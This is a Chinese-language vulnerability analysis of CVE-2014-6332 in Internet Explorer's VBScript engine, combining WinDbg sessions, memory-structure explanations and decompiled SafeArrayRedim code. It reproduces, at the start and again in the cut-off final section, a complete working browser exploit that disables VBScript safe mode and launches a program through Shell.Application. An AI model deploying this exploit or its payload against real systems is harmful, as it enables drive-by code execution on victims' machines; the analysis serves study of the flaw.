调试环境: Win7SP1x32+IE8
一. POC
先给出完整POC,如果exploit成功,则会产出notepad
<!DOCTYPE html> <html> <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8"> <body> CVE-2014-6332 exploit by yuange. <SCRIPT LANGUAGE="VBScript"> function Runmumaa() On Error Resume Next set shell=createobject("Shell.Application") shell.ShellExecute "notepad.exe" end function </script> <SCRIPT LANGUAGE="VBScript"> dim aa() dim ab() dim a0 dim a1 dim a2 dim a3 dim intVersion dim myarray Begin() function Begin() On Error Resume Next info=Navigator.UserAgent if (instr(info,"Win64")>0) then exit function end if if (instr(info,"MSIE")>0) then intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2)) else exit function end if BeginInit() if Create()=True then myarray=chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00) myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(00) Setnotsafemode() end if end function function BeginInit() Randomize() redim aa(5) redim ab(5) a0=13+17*rnd(6) a3=7+3*rnd(5) end function function Create() On Error Resume Next dim i Create=False for i = 0 to 400 if Over()=True then Create=True exit for end if next end function sub testaa() end sub function Mydata() On Error Resume Next i=testaa i=null redim Preserve aa(a2) ab(0)=0 aa(a1)=i ab(0)=6.36598737437801E-314 aa(a1+2)=myarray ab(2)=1.74088534731324E-310 Mydata=aa(a1) redim Preserve aa(a0) end function function Setnotsafemode() On Error Resume Next i=Mydata() i=ReadMemo(i+8) i=ReadMemo(i+16) for k=0 to &h60 step 4 j=ReadMemo(i+&h120+k) if (j=14) then redim Preserve aa(a2) aa(a1+2)(i+&h11c+k)=ab(4) redim Preserve aa(a0) exit for end if next ab(2)=1.69759663316747E-313 Runmumaa() end function function Over() On Error Resume Next dim type1 Over=False a0=a0+a3 a1=a0+2 a2=a0+&h8000000 redim Preserve aa(a0) redim ab(a0) redim Preserve aa(a2) type1=1 ab(0)=1.012345678901234567890123456789 aa(a0)=10 if (IsObject(aa(a1-1)) = False) then if (VarType(aa(a1-1))<>0) then if (IsObject(aa(a1)) = False) then type1=VarType(aa(a1)) end if end if end if if (type1=&h0b24) then Over=True end if redim Preserve aa(a0) end function function ReadMemo(add) On Error Resume Next redim Preserve aa(a2) ab(0)=0 aa(a1)=add+4 ab(0)=1.69759663316747E-313 ReadMemo=lenb(aa(a1)) ab(0)=0 redim Preserve aa(a0) end function </script> </body> </html>
二. GodMode 模式
VBScript在IE浏览器中的权限很低,正常情况下如下代码是无法弹出计算器的,此受限模式是通过SafeMode标识来控制的。
IE通过COleScript::InSafeMode(void)来检查程序是否运行在SafeMode下,此标识的默认值是0xE。此CVE正是通过修改SafeMode标识升级为GodMode,从而为所欲为。
<html> <script LANGUAGE="VBScript"> function runmumaa() On Error Resume Next set shell=createobject("Shell.Application") shell.ShellExecute "calc.exe" end function runmumaa() </script> <html>
通过IDA可以查看COleScript::InSafeMode(void)的逻辑如下:
使用Windbg调试,断点:bu vbscript!COleScript::InSafeMode
0:005> dd ecx+174 L1 0049fbb4 0000000e 0:005> ln poi(ecx) (67ee4868) vbscript!COleScript::`vftable‘ | (67effdbc) vbscript!`string‘ Exact matches: vbscript!COleScript::`vftable‘ = <no type information>
以上可以得出两点信息:1) SafeMode标识此时为0xE; 2) SafeMode标识存放在 vbscript!COleScript对象偏移0x174处
手动更改SafeMode标识为0x0, Disable 断点,弹出计算器成功!
0:005> eb ecx+174 0 0:005> dd ecx+174 L1 0049fbb4 00000000 0:005> bd * 0:005> g ModLoad: 71220000 71223000 C:\Windows\system32\sfc.dll ModLoad: 71210000 7121d000 C:\Windows\system32\sfc_os.DLL (794.820): Break instruction exception - code 80000003 (first chance) eax=7ffd8000 ebx=00000000 ecx=00000000 edx=77dcf125 esi=00000000 edi=00000000 eip=77d640f0 esp=05e3f9f8 ebp=05e3fa24 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ntdll!DbgBreakPoint: 77d640f0 cc int 3
三. 变量结构
修改SafeMode标识后可以为所欲为,那么如何达到这一目标呢? 先来了解下VBS变量、数组的结构,这是后面exploit的基础。
这里我们反复会用到一个调试技巧,即IsEmpty函数,通过它我们来观察变量,IsEmpty第一个参数即为code中传入的变量。设断点:bu vbscript!VbsIsEmpty
<html> <script LANGUAGE="VBScript"> On Error Resume Next dim int1, str1, f1 dim arr1(6) int1 = &h11223344 IsEmpty(int1) str1 = "AABBCCDD" IsEmpty(str1) f1 = 1.123456789012345678901234567890 IsEmpty(f1) arr1(0) = &h11223344 arr1(1) = "AABBCCDD" IsEmpty(arr1) </script> <html>
0:005> dd poi(esp+c) L4 012b5cf8 00000003 00000000 11223344 00000000 --> 0003是VarType, 这里是Long Integer; 000000000000是保留字段;11223344正好对应int1的内容
参考文献[2]中给出了一张图,描述了 VARIANT的结构,如下所示,我们进一步看看其他变量类型。
详细的VarType取值可以参考 https://msdn.microsoft.com/en-us/library/aa263402(v=vs.60).aspx
但MSDN并没有列出所有的情况,多一些的可以参考 http://www.secniu.com/how-to-use-vbscript-to-turn-on-the-god-mode/
0:005> g Breakpoint 0 hit eax=6bde185c ebx=0204d02c ecx=6be3a9d8 edx=0204cfa4 esi=0176551c edi=00000001 eip=6bdfc206 esp=0204cec0 ebp=0204ced0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vbscript!VbsIsEmpty: 6bdfc206 8bff mov edi,edi 0:005> dd poi(esp+c) L4 017635c0 0000004a 00000000 01765ef0 00000000 0:005> dd 01765ef0 01765ef0 00000008 00000000 0051fae4 00000000 --> 0008 vbString类型,对应str1 01765f00 00000000 00000000 38934f9e 0002ed9c 01765f10 01763648 003cffd8 00000000 00000000 01765f20 00000000 00000000 00000000 00000000 01765f30 00000000 00000000 00000000 00000000 01765f40 00000000 00000000 00000000 00000000 01765f50 00000000 00000000 00000000 00000000 01765f60 00000000 00000000 00000000 00000000 0:005> dU 0051fae4 0051fae4 "AABBCCDD" 0:005> g Breakpoint 0 hit eax=6bde185c ebx=0204d02c ecx=6be3a9d8 edx=0204cfa4 esi=0176551c edi=00000001 eip=6bdfc206 esp=0204cec0 ebp=0204ced0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vbscript!VbsIsEmpty: 6bdfc206 8bff mov edi,edi 0:005> dd poi(esp+c) L4 017635c0 00000005 00000000 d3746f66 3ff1f9ad ---> 0005 vbDouble类型, 对应f1 0:005> dD 017635c0+8 L1 017635c8 1.12345678901
再看看SafeArray的结构
0:005> g Breakpoint 0 hit eax=6bde185c ebx=0204d02c ecx=6be3a9d8 edx=0204cfa4 esi=0176551c edi=00000001 eip=6bdfc206 esp=0204cec0 ebp=0204ced0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vbscript!VbsIsEmpty: 6bdfc206 8bff mov edi,edi 0:005> dd poi(esp+c) 017635c0 003c600c 00000000 017659e0 00505668 017635d0 0000400c 00000000 017659d4 00000000 017635e0 0000400c 00000000 003cfe4c 00000000 017635f0 0000400c 00000000 003cfe10 00000000 01763600 0000400c 00000000 003cfdd4 00000000 01763610 00000000 00000000 00000000 00000000 01763620 00000000 00000000 00000000 00000000 01763630 00000000 00000000 00000000 00000000 0:005> dd 00505668 00505668 08920001 00000010 00000000 004d5748 --> 00505668开始的0x18个字节就是SafeArray: 0001表示数组是1维;004d5748是数据buffer,真正放内容的地方; 00505678 00000007 00000000 43303c93 8c005496 --> 00000007表示第一维元素个数;00000000表示第一维起始下标 00505688 00000000 fa445657 00140004 005056b8 00505698 fa445657 11d69379 06001ab4 53ee835b 005056a8 00000000 00000000 43303c95 88000892 005056b8 76542778 76546674 765467c8 00000001 005056c8 fa445657 11d69379 06001ab4 53ee835b 005056d8 00000000 00000001 43303c9f 8800218c 0:005> dd 004d5748 004d5748 00000003 00000000 11223344 3ff1f9ad --> 可以看到熟悉的VARIANT结构 004d5758 00000008 00000000 0051fae4 0204cfd4 004d5768 00000000 00000000 00000000 00000000 004d5778 00000000 00000000 00000000 00000000 004d5788 00000000 00000000 00000000 00000000 004d5798 00000000 00000000 00000000 00000000 004d57a8 00000000 00000000 00000000 00000000 004d57b8 433390f4 8000006c 00b1005c 00000000
四. Get ColeCscript Objet
了解完基本变量结构后,我们回到SafeMode标识的问题。通过第二部分,我们知道SafeMode标识存放在 vbscript!COleScript对象偏移0x174处。 那如何得到一个 vbscript!COleScript对象呢?
<html> <script LANGUAGE="VBScript"> On Error Resume Next sub testaa() end sub dim i IsEmpty("Try to get ColeCscript") i = testaa i = null IsEmpty(i) </script> <html>
这里插入一个求值栈的概念,VBScript中,像赋值、求值操作,都会用一个求值栈来保存中间变量及临时结果。
如上面的 "Try to get ColeCscript",就是先保存为一个中间vbstring变量给IsEmpty()函数; 对i的赋值也是先对求值栈中的variant操作,最后赋值给i。每次调试时,求值栈的地址是固定的(这一点可以从上面的调试过程中看出)。
0:018> g ModLoad: 6a880000 6a8eb000 C:\Windows\system32\vbscript.dll Breakpoint 0 hit eax=6a88185c ebx=01d8d4e4 ecx=6a8da9d8 edx=01d8d45c esi=01f7559c edi=00000001 eip=6a89c206 esp=01d8d378 ebp=01d8d388 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vbscript!VbsIsEmpty: 6a89c206 8bff mov edi,edi 0:005> dd poi(esp+c) 01f75ec0 00000008 00000000 01f75564 00000000 --> 01f75ec0即为求值栈的地址 01f75ed0 0000400c 00000000 0029fdc4 00000000 01f75ee0 00000000 00000000 00000000 00000000 01f75ef0 00000000 00000000 00000000 00000000 01f75f00 00000000 00000000 00000000 00000000 01f75f10 7ef1abcb 00029fa0 01f73058 0029ffb8 01f75f20 00000000 00000000 00000000 00000000 01f75f30 00000000 00000000 00000000 00000000 0:005> du 01f75564 01f75564 "Try to get ColeCscript" 0:005> ba w4 01f75ec0+8 --> 下硬件断点,当Variant的Data内容被改变时断下 0:005> g Breakpoint 1 hit eax=00000000 ebx=01d8d514 ecx=01f72010 edx=01f7554c esi=0029fd90 edi=01f75ecc eip=6a882b26 esp=01d8d33c ebp=01d8d344 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 vbscript!NameTbl::GetAdrCore+0x2d: 6a882b26 a5 movs dword ptr es:[edi],dword ptr [esi] es:0023:01f75ecc=00000000 ds:0023:0029fd90=0b00000b 0:005> dd 01f75ec0 L4 01f75ec0 0000004c 00000080 0029ff90 00000000 -->VarType是004c,标识VT_FUNC,0029ff90是一个vbscript!CScriptEntryPoint对象地址 0:005> ln poi(0029ff90) (6a884934) vbscript!CScriptEntryPoint::`vftable‘ | (6a89ab54) vbscript!CEntryPointDispatch::`vftable‘ Exact matches: vbscript!CScriptEntryPoint::`vftable‘ = <no type information> 0:005> bc 1 0:005> g Breakpoint 0 hit eax=6a88185c ebx=01d8d4e4 ecx=6a8da9d8 edx=01d8d45c esi=01f7559c edi=00000001 eip=6a89c206 esp=01d8d378 ebp=01d8d388 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vbscript!VbsIsEmpty: 6a89c206 8bff mov edi,edi 0:005> dd 01f75ec0 L4 01f75ec0 00000001 00000080 0029ff90 0b00000b --> 最终i的类型为0001(Null),数据区域是vbscript!CScriptEntryPoint对象地址 0:005> ln poi(0029ff90) (6a884934) vbscript!CScriptEntryPoint::`vftable‘ | (6a89ab54) vbscript!CEntryPointDispatch::`vftable‘ Exact matches: vbscript!CScriptEntryPoint::`vftable‘ = <no type information>
0:005> dd 0029ff90 0029ff90 6a884934 00000001 0029ff20 01f75508 0029ffa0 01f75878 00000000 0029ff20 0029fb68 0029ffb0 62f1abd7 00009f69 01f75f18 002900c4 0029ffc0 0029ebb8 00292f00 00000000 00000000 0029ffd0 00000000 00000000 00000000 00000000 0029ffe0 61f0abd5 03009f6a 00000000 00000000 0029fff0 00290038 00290038 002a0000 00000000 002a0000 f95543e7 0100306d ffeeffee 00000000 0:005> dd 0029ff20 0029ff20 00000005 00000000 00000000 00000000 --> 查看CScriptEntryPoint对象偏移8字节处地址的内容 0029ff30 0029f8a0 00000000 0029fa78 00292f00 0029ff40 01f75508 01f75508 66f0abd2 0c009f6a 0029ff50 00000008 00000000 0029ff20 00000021 0029ff60 60f0abd4 08009f6f 6a884934 00000002 0029ff70 0029ff20 01f75508 01f75804 00000000 0029ff80 0029ff20 0029fb68 60f0abd4 08009f69 0029ff90 6a884934 00000001 0029ff20 01f75508 0:005> ln poi(0029f8a0) (6a884868) vbscript!COleScript::`vftable‘ | (6a89fdbc) vbscript!`string‘ --> 该地址偏移0x10字节,就是一个ColeScript对象 Exact matches: vbscript!COleScript::`vftable‘ = <no type information> 0:005> dd 0029f8a0+174 L4 0029fa14 0000000e 00000000 00000000 00000000 --> ColeScript对象偏移0x174字节,就是SafeMode标识。所以通过CSriptEntryPoint就可以关联到ColeScript对象
通过调试过程,我们再来理解下上面的html code。
1) 当用函数地址testaa对i赋值时,求值栈更新了VarType和Data, 但却不会赋值给i,求值栈内容还保留
2)下一步用null对i赋值时,只更新了求值栈中的VarType,并不需要取Data。从而把VarType=Null, Data为CSriptEntryPoint对象地址的VARIANT给了i。
五. SafeArrayRedim
接下来就真正是漏洞所在的部分了
<html> <SCRIPT LANGUAGE="VBScript"> On Error Resume Next dim aa() redim aa(5) aa(0) = &h11223344 aa(1) = &h11223344 IsEmpty(aa) redim Preserve aa(5+&h8000000) IsEmpty(aa) </script> <html>
0:018> g ModLoad: 6bdf0000 6be5b000 C:\Windows\system32\vbscript.dll Breakpoint 0 hit eax=6bdf185c ebx=0209d584 ecx=6be4a9d8 edx=0209d4fc esi=00b56500 edi=00000001 eip=6be0c206 esp=0209d418 ebp=0209d428 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vbscript!VbsIsEmpty: 6be0c206 8bff mov edi,edi 0:005> dd poi(poi(esp+c)+c) 004c8388 08800001 00000010 00000000 004fa2a0 --> Array的数据放在004fa2a0处,数组长度是00000006 004c8398 00000006 00000000 6df39936 8c000000 004c83a8 03bf0ac4 03bf0ac0 004cdc40 6a43eee1 004c83b8 6a4230da 0000005c 00000058 00000008 004c83c8 00000001 00000000 6df39938 88000000 004c83d8 6a76bdc8 00000000 6a405d74 004b8088 004c83e8 6a405b60 00000000 00000000 00000000 004c83f8 03000004 00000000 6df399c2 80000000 0:005> g Breakpoint 0 hit eax=6bdf185c ebx=0209d584 ecx=6be4a9d8 edx=0209d4fc esi=00b56500 edi=00000001 eip=6be0c206 esp=0209d418 ebp=0209d428 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vbscript!VbsIsEmpty: 6be0c206 8bff mov edi,edi 0:005> dd poi(poi(esp+c)+c) 004c8388 08800001 00000010 00000000 004fa2a0 --> Array的数据仍放在004fa2a0处,但数组长度却变成了08000006。一个VARIANT 0x10字节,因此数组占0x80000060字节 004c8398 08000006 00000000 6df39936 8c000000 --> 一个VARIANT 0x10字节,因此Array数据buffer占0x80000060字节,32位进程用户最大寻址空间也只到0x7fffffff字节。而且buffer地址没有变,猜测在Redim的时候,只改变了大小,并没有重新分配空间。 004c83a8 03bf0ac4 03bf0ac0 004cdc40 6a43eee1 004c83b8 6a4230da 0000005c 00000058 00000008 004c83c8 00000001 00000000 6df39938 88000000 004c83d8 6a76bdc8 00000000 6a405d74 004b8088 004c83e8 6a405b60 00000000 00000000 00000000 004c83f8 03000004 00000000 6df399c2 80000000
通过以上分析,我们来看看VBScript的Redim到底发生了什么吧。
0:005> x *!*redim* 6be05891 vbscript!RedimPreserveArray = <no type information> 6d2f114b IEFRAME!CSharedImageList<42514>::GetToolbar = <no type information> 6d071d90 IEFRAME!_imp__SafeArrayRedim = <no type information> 6d1f5c50 IEFRAME!CSharedImageList<42514>::`vftable‘ = <no type information> 6d2f0488 IEFRAME!CSharedImageList<634>::`vector deleting destructor‘ = <no type information> 6d1f5c64 IEFRAME!CSharedImageList<42497>::`vftable‘ = <no type information> 6d1f5c6c IEFRAME!CSharedImageList<42498>::`vftable‘ = <no type information> 6d1f5c68 IEFRAME!CSharedImageList<42496>::`vftable‘ = <no type information> 6d2f0a21 IEFRAME!CSharedImageList<700>::CSharedImageList<700> = <no type information> 6d1f5c54 IEFRAME!CSharedImageList<635>::`vftable‘ = <no type information> 6d1f5c58 IEFRAME!CSharedImageList<700>::`vftable‘ = <no type information> 6d2f0488 IEFRAME!CSharedImageList<634>::`scalar deleting destructor‘ = <no type information> 6d1f5c60 IEFRAME!CSharedImageList<636>::`vftable‘ = <no type information> 6d2f128f IEFRAME!CSharedImageList<42498>::GetSimple = <no type information> 6d2f0b0f IEFRAME!CSharedImageList<635>::`scalar deleting destructor‘ = <no type information> 6d2f0ae9 IEFRAME!CSharedImageList<700>::`scalar deleting destructor‘ = <no type information> 6d2f110b IEFRAME!CSharedImageList<700>::GetToolbar = <no type information> 6d2f1227 IEFRAME!CSharedImageList<42497>::GetSimple = <no type information> 6d2f0b35 IEFRAME!CSharedImageList<636>::`scalar deleting destructor‘ = <no type information> 6d1f5c5c IEFRAME!CSharedImageList<634>::`vftable‘ = <no type information> 6d2f0a6c IEFRAME!CSharedImageList<634>::CSharedImageList<634> = <no type information> 6d2f125b IEFRAME!CSharedImageList<42496>::GetSimple = <no type information> 6d2f0b0f IEFRAME!CSharedImageList<635>::`vector deleting destructor‘ = <no type information> 6d2f0a85 IEFRAME!CSharedImageList<636>::CSharedImageList<636> = <no type information> 6d2f0a53 IEFRAME!CSharedImageList<635>::CSharedImageList<635> = <no type information> 6d2f0ae9 IEFRAME!CSharedImageList<700>::`vector deleting destructor‘ = <no type information> 6d2f0b35 IEFRAME!CSharedImageList<636>::`vector deleting destructor‘ = <no type information> 6d2f04d4 IEFRAME!CSharedImageList<42496>::`scalar deleting destructor‘ = <no type information> 6d2f0b5b IEFRAME!CSharedImageList<42498>::`scalar deleting destructor‘ = <no type information> 6d2f04ae IEFRAME!CSharedImageList<42497>::`scalar deleting destructor‘ = <no type information> 6d2f0462 IEFRAME!CSharedImageList<42514>::`vector deleting destructor‘ = <no type information> 6d2f04d4 IEFRAME!CSharedImageList<42496>::`vector deleting destructor‘ = <no type information> 6d2f0b5b IEFRAME!CSharedImageList<42498>::`vector deleting destructor‘ = <no type information> 6d2f04ae IEFRAME!CSharedImageList<42497>::`vector deleting destructor‘ = <no type information> 6d2f0462 IEFRAME!CSharedImageList<42514>::`scalar deleting destructor‘ = <no type information> 6d2f0a9e IEFRAME!CSharedImageList<42497>::CSharedImageList<42497> = <no type information> 6d2f0ad0 IEFRAME!CSharedImageList<42498>::CSharedImageList<42498> = <no type information> 6d2f0a3a IEFRAME!CSharedImageList<42514>::CSharedImageList<42514> = <no type information> 6d2f11f3 IEFRAME!CSharedImageList<636>::GetSimple = <no type information> 6d2f118b IEFRAME!CSharedImageList<635>::GetSimple = <no type information> 6d2f0ab7 IEFRAME!CSharedImageList<42496>::CSharedImageList<42496> = <no type information> 6d2f11bf IEFRAME!CSharedImageList<634>::GetSimple = <no type information> 74477c21 comctl32!CToolbar::_AddCenteredImagelistToImageList = <no type information> 7670ec2c OLEAUT32!SafeArrayRedim = <no type information> 76bf4668 SHELL32!ImageList_LoadMirroredImage = <no type information>
通过查找符号表,和redim相关的函数有两个: vbscript!RedimPreserveArray 和 OLEAUT32!SafeArrayRedim
不过进一步发现 vbscript!RedimPreserveArray最终会调用 OLEAUT32!SafeArrayRedim,在调用 OLEAUT32!SafeArrayRedim之前,数组的长度并没有变成 0x08000006。所以不出意外,问题就是出现在OLEAUT32!SafeArrayRedim中了。
上IDA!!! 函数太长,看汇编跪了,先看得伪代码。
HRESULT __stdcall SafeArrayRedim(SAFEARRAY *psa, SAFEARRAYBOUND *psaboundNew) { SAFEARRAY *v2; // [email protected] USHORT v3; // [email protected] __int32 v4; // [email protected] signed int v5; // [email protected] ULONG v6; // [email protected] LONG v7; // [email protected] unsigned int v8; // [email protected] struct IMalloc *v9; // [email protected] SAFEARRAY *v10; // [email protected] int v11; // [email protected] SAFEARRAYBOUND *v13; // [email protected] ULONG v14; // [sp+Ch] [bp-18h]@9 LONG v15; // [sp+10h] [bp-14h]@9 struct IMalloc *v16; // [sp+14h] [bp-10h]@6 int v17; // [sp+18h] [bp-Ch]@3 unsigned int v18; // [sp+1Ch] [bp-8h]@9 size_t Size; // [sp+20h] [bp-4h]@7 SAFEARRAY *psaa; // [sp+2Ch] [bp+8h]@6 SAFEARRAYBOUND *psaboundNewa; // [sp+30h] [bp+Ch]@38 v2 = psa; if ( psa ) { if ( psaboundNew ) { v3 = psa->fFeatures; v17 = psa->fFeatures & 0x2000; if ( psa->cDims ) { if ( psa->cLocks > 0 || v3 & 0x10 ) return -2147352563; psaa = 0; v16 = 0; v4 = GetMalloc(&v16); v5 = v4; if ( v4 && v4 < 0 ) return v5; Size = SafeArraySize(v2); --> 得到原始数组size if ( !Size || v2->pvData ) { v6 = v2->rgsabound[0].cElements; --> 保存原始数组长度 v7 = v2->rgsabound[0].lLbound; -->保存原始数组起始下标 v2->rgsabound[0] = *psaboundNew; -->(!!!)将数组长度更改为新的值,在还未申请内存前 v14 = v6; v15 = v7; v8 = SafeArraySize(v2); --> 得到新数组长度 v18 = v8; if ( v8 == -1 ) { v2->rgsabound[0].cElements = v6; v2->rgsabound[0].lLbound = v7; v5 = -2147024882; } else { v5 = v8 - Size; --> 0x80000060-0x00000060=0x80000000 if ( v8 != Size ) { v9 = v16; if ( v5 < 0 && v2->fFeatures & 0xF20 ) --> 这里使用了jge指令,相当于按有符号数比较,但数组长度其实是ULONG类型。从而进入了v5<0的分支 { if ( v17 ) { psaa = (SAFEARRAY *)((char *)v2->pvData + v8); } else { v10 = (SAFEARRAY *)v16->lpVtbl->Alloc(v16, -v5); --> 重新申请内存 psaa = v10; if ( !v10 ) --> 申请失败,跳转到LABEL_32 goto LABEL_32; memcpy(v10, (char *)v2->pvData + v18, -v5); v8 = v18; } } if ( v17 ) { if ( v8 <= Size ) goto LABEL_19; v13 = (SAFEARRAYBOUND *)v9->lpVtbl->Alloc(v9, v8); psaboundNewa = v13; if ( v13 ) { memcpy(v13, v2->pvData, Size); v2->pvData = psaboundNewa; v2->fFeatures &= 0xDFFFu; goto LABEL_19; } } else { v11 = (int)v9->lpVtbl->Realloc(v9, v2->pvData, v8); if ( v11 ) { LABEL_18: v2->pvData = (PVOID)v11; LABEL_19: if ( v5 >= 0 ) { memset((char *)v2->pvData + Size, 0, v5); } else { if ( psaa ) ReleaseResources(v2, (VARIANTARG *)psaa, -v5, v2->fFeatures, v2->cbElements); if ( v17 ) psaa = 0; } v5 = 0; goto LABEL_25; } if ( !v18 ) { v11 = (int)v9->lpVtbl->Alloc(v9, 0); goto LABEL_18; } } v2->rgsabound[0].cElements = v14; v2->rgsabound[0].lLbound = v15; LABEL_32: v5 = -2147024882; --> v5=0x8007000E LABEL_25: if ( psaa ) v9->lpVtbl->Free(v9, psaa); return v5; --> 返回0x8007000E } } return v5; } } } } return -2147024809; }
可以设断点跟一下上述过程,这里就不详细展开了。当数组索引越界,后面就简单了。
六、Array Overlap
了解了漏洞原理之后,现在到了最奇妙的构造内存布局的过程了。
<!DOCTYPE html> <html> <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8"> <body> CVE-2014-6332 exploit by yuange. <SCRIPT LANGUAGE="VBScript"> dim aa() dim ab() dim a0 dim a1 dim a2 dim a3 dim intVersion dim myarray Begin() function Begin() On Error Resume Next BeginInit() if Create()=True then end if end function function BeginInit() Randomize() redim aa(5) redim ab(5) a0=13+17*rnd(6) a3=7+3*rnd(5) end function function Create() On Error Resume Next dim i Create=False for i = 0 to 400 if Over()=True then Create=True exit for end if next end function function Over() On Error Resume Next dim type1 Over=False a0=a0+a3 a1=a0+2 a2=a0+&h8000000 redim Preserve aa(a0) redim ab(a0) redim Preserve aa(a2) type1=1 ab(0)=1.012345678901234567890123456789 aa(a0)= 10 if (IsObject(aa(a1-1)) = False) then if (VarType(aa(a1-1))<>0) then if (IsObject(aa(a1)) = False) then type1=VarType(aa(a1)) end if end if end if if (type1=&h0b24) then IsEmpty(aa) IsEmpty(ab) Over=True end if redim Preserve aa(a0) end function </script> </body> </html>
循环申请堆空间,期望的内存布局如下(图源于参考文献[2]):
0:011> g ModLoad: 6c9e0000 6ca4b000 C:\Windows\system32\vbscript.dll Breakpoint 0 hit eax=6c9e185c ebx=01ecc8b0 ecx=6ca3a9d8 edx=01ecc828 esi=01ee6604 edi=00000001 eip=6c9fc206 esp=01ecc744 ebp=01ecc754 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vbscript!VbsIsEmpty: 6c9fc206 8bff mov edi,edi 0:004> dd poi(poi(esp+c)+c) 0025e7d8 08800001 00000010 00000000 00262758 0025e7e8 0800001d 00000000 01f6c8cd 88002020 0025e7f8 69f82010 00000003 00000008 00000000 0025e808 00000000 00281068 00000052 80006200 0025e818 00000006 00238b88 01f6c937 80000d74 0025e828 6a380002 00000000 6a007be0 0022d4d0 0025e838 6a01e360 00000000 00000000 00000000 0025e848 02000008 6a01e200 01f6c939 80005220 0:004> g Breakpoint 0 hit eax=6c9e185c ebx=01ecc8b0 ecx=6ca3a9d8 edx=01ecc828 esi=01ee6604 edi=00000001 eip=6c9fc206 esp=01ecc744 ebp=01ecc754 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vbscript!VbsIsEmpty: 6c9fc206 8bff mov edi,edi 0:004> dd poi(poi(esp+c)+c) 0025e598 08800001 00000010 00000000 00262930 0025e5a8 0000001d 00000000 01f6c885 80007474 0025e5b8 6a380008 00000000 6a007be0 00253d70 0025e5c8 6a009e30 001e5010 69f85320 00000007 0025e5d8 00000003 00000000 01f6c88f 80003845 0025e5e8 6a380032 00000000 6a007be0 00253d70 0025e5f8 6a009ec4 001e5010 69f85320 00000007 0025e608 00000006 00000000 01f6c8f1 88000a0d
0:004> dD 00262938 l1
00262938 1.0123456789
0:004> ?00262758+0x10*1d Evaluate expression: 2500904 = 00262928 0:004> ?00262928+0x8 Evaluate expression: 2500912 = 00262930 --> 看,aa(a0)与ab(0)就差8个字节堆指针
程序是如何判断aa, ab符合这个结构的呢? 对 ab(0)=1.012345678901234567890123456789,aa(a1)的VarType刚好是0x0b24,以此为判断依据。
在这种情况下,aa与ab是错位重叠的,aa的数据区域是ab的VarType区域,ab的VarType正是aa的数据区域。
0:004> dd 00262930-0x18 aa(a0) 00262918 00000002 00000000 61f2000a 3ff03291 aa(a1-1) 00262928 2bb8897e 0800fe7b 00000005 00000000 ab(0) aa(a1) 00262938 61f20b24 3ff03291 00000000 00000000 ab(1) aa(a1+1) 00262948 00000000 00000000 00000000 00000000 ab(2) aa(a1+2) 00262958 00000000 00000000 00000000 00000000 ab(3) 00262968 00000000 00000000 00000000 00000000 00262978 00000000 00000000 00000000 00000000 00262988 00000000 00000000 00000000 00000000 0:004> dD 00262938 l1 00262938 1.0123456789
六、Change SafeMode
构造了以上精妙的内存布局后,就要开始更改SafeMode标识了,在poc代码中加入了很多IsEmpty,便于调试。当一个部分调试完之后,可以用注释掉相应的IsEmpty,免得中断多次windbg
<!DOCTYPE html> <html> <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8"> <body> CVE-2014-6332 exploit by yuange. <SCRIPT LANGUAGE="VBScript"> function Runmumaa() On Error Resume Next set shell=createobject("Shell.Application") shell.ShellExecute "notepad.exe" end function </script> <SCRIPT LANGUAGE="VBScript"> dim aa() dim ab() dim a0 dim a1 dim a2 dim a3 dim intVersion dim myarray Begin() function Begin() On Error Resume Next info=Navigator.UserAgent if (instr(info,"Win64")>0) then exit function end if if (instr(info,"MSIE")>0) then intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2)) else exit function end if BeginInit() if Create()=True then myarray=chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00) myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(00) Setnotsafemode() end if end function function BeginInit() Randomize() redim aa(5) redim ab(5) a0=13+17*rnd(6) a3=7+3*rnd(5) end function function Create() On Error Resume Next dim i Create=False for i = 0 to 400 if Over()=True then Create=True exit for end if next end function sub testaa() end sub function Mydata() On Error Resume Next i=testaa i=null redim Preserve aa(a2) ab(0)=0 aa(a1)=i IsEmpty("Assign With CScriptEntryPoint Object") ab(0)=6.36598737437801E-314 IsEmpty("Change CScriptEntryPoint VarType") aa(a1+2)=myarray IsEmpty("Assign With myrray") ab(2)=1.74088534731324E-310 IsEmpty("Change myarray VarType") Mydata=aa(a1) redim Preserve aa(a0) end function function Setnotsafemode() On Error Resume Next i=Mydata() i=ReadMemo(i+8) i=ReadMemo(i+16) for k=0 to &h60 step 4 j=ReadMemo(i+&h120+k) if (j=14) then redim Preserve aa(a2) aa(a1+2)(i+&h11c+k)=ab(4) redim Preserve aa(a0) exit for end if next ab(2)=1.69759663316747E-313 Runmumaa() end function function Over() On Error Resume Next dim type1 Over=False a0=a0+a3 a1=a0+2 a2=a0+&h8000000 redim Preserve aa(a0) redim ab(a0) redim Preserve aa(a2) type1=1 ab(0)=1.012345678901234567890123456789 aa(a0)=10 if 